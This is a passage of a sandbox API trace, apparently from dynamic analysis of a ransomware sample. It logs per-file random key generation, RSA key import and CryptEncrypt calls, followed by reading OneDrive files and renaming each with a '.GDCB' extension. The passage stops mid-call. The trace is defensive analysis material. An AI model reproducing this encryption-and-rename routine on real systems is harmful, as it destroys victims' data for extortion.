[0198.165] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0198.167] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.168] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.168] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.168] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.168] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0198.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.170] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.170] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.170] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.172] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089778) returned 1 [0198.172] CryptGetKeyParam (in: hKey=0x5089778, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.172] CryptEncrypt (in: hKey=0x5089778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.172] GetLastError () returned 0x0 [0198.172] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.172] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0198.174] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50890b8) returned 1 [0198.174] CryptGetKeyParam (in: hKey=0x50890b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.174] CryptEncrypt (in: hKey=0x50890b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.174] GetLastError () returned 0x0 [0198.174] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.174] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.176] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.177] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.178] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5070, lpOverlapped=0x0) returned 1 [0198.185] VirtualAlloc (lpAddress=0x0, dwSize=0x5070, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.190] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml.gdcb")) returned 1 [0198.262] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0198.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.265] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.265] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.265] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.265] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0198.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.267] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.267] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.267] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0198.269] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50891b8) returned 1 [0198.269] CryptGetKeyParam (in: hKey=0x50891b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.269] CryptEncrypt (in: hKey=0x50891b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.269] GetLastError () returned 0x0 [0198.269] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.269] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0198.271] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089f38) returned 1 [0198.271] CryptGetKeyParam (in: hKey=0x5089f38, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.271] CryptEncrypt (in: hKey=0x5089f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.272] GetLastError () returned 0x0 [0198.272] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.272] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.275] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.276] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5db10, lpOverlapped=0x0) returned 1 [0198.284] VirtualAlloc (lpAddress=0x0, dwSize=0x5db10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.295] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif.gdcb")) returned 1 [0198.300] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0198.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.302] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.302] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0198.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.305] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.305] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.305] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.307] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089ab8) returned 1 [0198.307] CryptGetKeyParam (in: hKey=0x5089ab8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.307] CryptEncrypt (in: hKey=0x5089ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.308] GetLastError () returned 0x0 [0198.308] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.308] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0198.309] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089bf8) returned 1 [0198.309] CryptGetKeyParam (in: hKey=0x5089bf8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.309] CryptEncrypt (in: hKey=0x5089bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.310] GetLastError () returned 0x0 [0198.310] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.311] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.312] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.313] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2a10, lpOverlapped=0x0) returned 1 [0198.318] VirtualAlloc (lpAddress=0x0, dwSize=0x2a10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.323] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png.gdcb")) returned 1 [0198.370] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0198.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.373] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.373] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.373] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.373] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0198.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.375] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.375] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.376] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50899b8) returned 1 [0198.378] CryptGetKeyParam (in: hKey=0x50899b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.378] CryptEncrypt (in: hKey=0x50899b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.378] GetLastError () returned 0x0 [0198.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.378] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0198.380] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089db8) returned 1 [0198.380] CryptGetKeyParam (in: hKey=0x5089db8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.380] CryptEncrypt (in: hKey=0x5089db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.380] GetLastError () returned 0x0 [0198.380] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.382] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.383] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.384] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1ef0, lpOverlapped=0x0) returned 1 [0198.392] VirtualAlloc (lpAddress=0x0, dwSize=0x1ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.397] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappblue.png.gdcb")) returned 1 [0198.401] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0198.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.403] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.403] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.403] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0198.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.405] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.405] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.406] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0198.408] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089ff8) returned 1 [0198.408] CryptGetKeyParam (in: hKey=0x5089ff8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.408] CryptEncrypt (in: hKey=0x5089ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.408] GetLastError () returned 0x0 [0198.408] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.408] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0198.410] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089978) returned 1 [0198.410] CryptGetKeyParam (in: hKey=0x5089978, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.410] CryptEncrypt (in: hKey=0x5089978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.410] GetLastError () returned 0x0 [0198.410] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.410] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.412] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.413] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.414] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x13cc, lpOverlapped=0x0) returned 1 [0198.430] VirtualAlloc (lpAddress=0x0, dwSize=0x13d0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.435] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ElevatedAppWhite.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\elevatedappwhite.png.gdcb")) returned 1 [0198.515] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0198.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.518] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.518] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.518] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.518] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.520] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.521] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.521] CryptGenRandom (in: 